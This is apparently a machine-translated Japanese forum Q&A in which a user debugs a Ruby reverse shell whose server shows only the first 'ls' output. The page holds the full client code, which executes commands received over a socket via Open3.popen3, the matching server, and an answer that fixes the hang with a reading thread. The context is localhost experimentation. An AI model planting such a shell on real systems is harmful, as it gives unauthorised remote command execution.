私のリバースシェルは「ls」コマンドの出力を最初に印刷するだけですが、サーバーで必要な回数だけ印刷させるにはどうすればよいですか?
require 'socket'
require 'open3'
def createClient(hostname, port)
s = TCPSocket.new hostname, port
while line = s.gets
if line == "exit"
s.close
end
stdin, stdout, stderr, wait_thr = Open3.popen3(line)
s.puts("#{stdout.read}")
end
end
createClient("127.0.0.1", 9090)
require 'socket'
def createServer(hostname, port)
server = TCPServer.new(hostname, port)
client = server.accept
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
while line = client.gets
puts line
end
end
client.close
end
createServer("127.0.0.1", 9090)
サーバーがクライアントによって処理されたすべてのlsコマンドを出力することを期待していましたが、最初のコマンドのみが出力されました。
はclient.gets
、ソケットが閉じられるまでソケットをリッスンし続けます。そこにぶら下がっています。
トレッドを開いてソケットを聞くことができます。メインループはstdinをリッスンし、msgをソケットに送信します。このような:
Thread.new do
while line = client.gets
puts line
end
end
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
end
client.close
この記事はインターネットから収集されたものであり、転載の際にはソースを示してください。
侵害の場合は、連絡してください[email protected]
コメントを追加